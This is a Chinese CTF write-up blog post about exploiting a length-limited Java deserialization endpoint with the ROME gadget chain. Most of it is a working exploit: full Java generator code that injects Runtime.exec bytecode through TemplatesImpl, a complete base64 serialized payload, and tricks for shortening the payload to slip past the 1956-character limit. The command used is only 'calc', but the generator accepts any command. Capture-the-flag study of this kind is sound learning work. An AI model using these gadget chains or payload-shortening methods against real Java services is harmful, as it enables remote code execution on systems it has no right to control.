本文最后更新于 567 天前,其中的信息可能已经有所发展或是发生改变。
一、前言
会写这篇文章的起因是在最近的一场ctf
中碰见的一道很有意思的题,题目本身是一道很简单的ROME
链的反序列化漏洞,但是在传入payload
的地方限制了能传入的长度,所以就有了这么一篇文章。
赛题关键部分:
@PostMapping({"/hello"})
public String index(@RequestParam String baseStr) throws IOException, ClassNotFoundException {
if (baseStr.length() >= 1956)
return "too long";
byte[] decode = Base64.getDecoder().decode(baseStr);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
return "hello";
}
}
二、初始payload构建
这里就不具体分析ROME
链的流程了,具体分析的话可以看我之前写的文章
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.util.Base64;
public class Exp {
public static class StaticBlock { }
public static void main(String[] args) throws Exception{
// 生成恶意 bytecodes
String code = "{java.lang.Runtime.getRuntime().exec(\"calc\");}";
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(StaticBlock.class.getName());
clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
clazz.makeClassInitializer().insertBefore(code);
byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
// 实例化类并设置属性
TemplatesImpl templatesimpl = new TemplatesImpl();
Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templatesimpl, bytecodes);
Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templatesimpl, "test");
Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
fieldTfactory.setAccessible(true);
fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
// 要通过2个objectbean才能达成触发条件
ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl);
ObjectBean objectBean2 = new ObjectBean(ObjectBean.class, objectBean1);
// 设置hashmap,参考ysoserial
HashMap hashmap = new HashMap();
Field fieldsize = hashmap.getClass().getDeclaredField("size");
fieldsize.setAccessible(true);
fieldsize.set(hashmap,2);
Class nodeC = Class.forName("java.util.HashMap$Node");
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
// Object tbl = Array.newInstance(nodeC, 2); 也可以只写入objectBean2, 就是会报错(但还是执行了命令)
Object tbl = Array.newInstance(nodeC, 1);
// Array.set(tbl, 0, nodeCons.newInstance(0, objectBean1, objectBean1, null));
Array.set(tbl, 0, nodeCons.newInstance(0, objectBean2, objectBean2, null));
Field fieldtable = hashmap.getClass().getDeclaredField("table");
fieldtable.setAccessible(true);
fieldtable.set(hashmap,tbl);
// 输出base64后的序列化数据
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(hashmap);
byte[] sss = byteArrayOutputStream.toByteArray();
out.close();
String exp = Base64.getEncoder().encodeToString(sss);
System.out.println(exp);
}
}
payload:
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAEAAAACc3IAKGNvbS5zdW4uc3luZGljYXRpb24uZmVlZC5pbXBsLk9iamVjdEJlYW6CmQfedgSUSgIAA0wADl9jbG9uZWFibGVCZWFudAAtTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL0Nsb25lYWJsZUJlYW47TAALX2VxdWFsc0JlYW50ACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjtMAA1fdG9TdHJpbmdCZWFudAAsTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL1RvU3RyaW5nQmVhbjt4cHNyACtjb20uc3VuLnN5bmRpY2F0aW9uLmZlZWQuaW1wbC5DbG9uZWFibGVCZWFu3WG7xTNPa3cCAAJMABFfaWdub3JlUHJvcGVydGllc3QAD0xqYXZhL3V0aWwvU2V0O0wABF9vYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyAB5qYXZhLnV0aWwuQ29sbGVjdGlvbnMkRW1wdHlTZXQV9XIdtAPLKAIAAHhwc3EAfgACc3EAfgAHcQB+AAxzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAJByv66vgAAADQAJAoAAwAPBwARBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtTdGF0aWNCbG9jawEADElubmVyQ2xhc3NlcwEAEkxUZXN0JFN0YXRpY0Jsb2NrOwEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAQABQcAEwEAEFRlc3QkU3RhdGljQmxvY2sBABBqYXZhL2xhbmcvT2JqZWN0AQAEVGVzdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABQKABUADwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAaABsKABkAHAEABGNhbGMIAB4BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAgACEKABkAIgAhAAIAFQAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAWsQAAAAIABwAAAAYAAQAAABAACAAAAAwAAQAAAAUACQAMAAAACAAXAAUAAQAGAAAAFgACAAAAAAAKuAAdEh+2ACNXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACXB0AAR0ZXN0cHcBAHhzcgAoY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuRXF1YWxzQmVhbvWKGLvl9hgRAgACTAAKX2JlYW5DbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7TAAEX29ianEAfgAJeHB2cgAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXMAAAAAAAAAAAAAAHhwcQB+ABRzcgAqY29tLnN1bi5zeW5kaWNhdGlvbi5mZWVkLmltcGwuVG9TdHJpbmdCZWFuCfWOSg8j7jECAAJMAApfYmVhbkNsYXNzcQB+ABtMAARfb2JqcQB+AAl4cHEAfgAecQB+ABRzcQB+ABp2cQB+AAJxAH4ADXNxAH4AH3EAfgAicQB+AA1xAH4ABng=
在初始状态下生成的payload
字符为2244
字符,而要求传入的字符为1956
,长了非常多,接下来就开始本文的重点,payload
缩短。
三、payload缩短方法初探
1、删除_tfactory字段
这一段payload
和在ysoserial
中都对_tfactory
字段进行了赋值
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
而在TemplatesImpactl
类中_tfactory
字段被transient
修饰,是不会参与序列化的,所以可以直接删除,既然是不参加序列化的,所以删除之后payload
的大小不会发生改变。
2、使用javassist创建类
使用:
CtClass clazz = pool.makeClass(StaticBlock.class.getName());
clazz.setSuperclass(pool.get(AbstractTranslet.class.getName()));
clazz.makeClassInitializer().insertBefore(code);
代替:
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(StaticBlock.class.getName());
clazz.setSuperclass(pool.get(Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet").getName()));
clazz.makeClassInitializer().insertBefore(code);
生成的payload
从2244
字节缩小到了2054
字节
3、尝试置空不需要的数据
在调试过程中我们可以发现_obj
中的参数并不是全都要存在有内容,只需要_equalsBean
就可以成功的进行反序列化,同时我们将_toStringBean
和 _cloneableBean
通过反射设置为null
,在进行设置后payload
成功缩短到了1836
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class Test {
public static class a {
}
public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static TemplatesImpl getTemplatesImpl(String cmd) {
TemplatesImpl templates = null;
try {
String code = "{java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");}";
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass(a.class.getName());
clazz.setSuperclass(pool.get(AbstractTranslet.class.getName()));
clazz.makeClassInitializer().insertBefore(code);
byte[][] bytecodes = new byte[][]{clazz.toBytecode()};
// 实例化类并设置属性
templates = new TemplatesImpl();
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, bytecodes);
Field fieldName = templates.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templates, "test");
return templates;
} catch (Exception e) {
}
return templates;
}
public static void main(String[] args) throws Exception {
ObjectBean bean = new ObjectBean(String.class, "1");
ToStringBean toStringBean = new ToStringBean(Templates.class, getTemplatesImpl("calc"));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashmap = new HashMap();
hashmap.put(bean, 1);
setFieldValue(bean, "_equalsBean", equalsBean);
setFieldValue(bean, "_toStringBean", null);
setFieldValue(bean, "_cloneableBean", null);
// 输出base64后的序列化数据
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(hashmap);
byte[] sss = byteArrayOutputStream.toByteArray();
out.close();
String base64_exp = Base64.getEncoder().encodeToString(sss);
System.out.println(base64_exp + "\n");
System.out.println(base64_exp.length());
byte[] exp = Base64.getDecoder().decode(base64_exp);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
}
}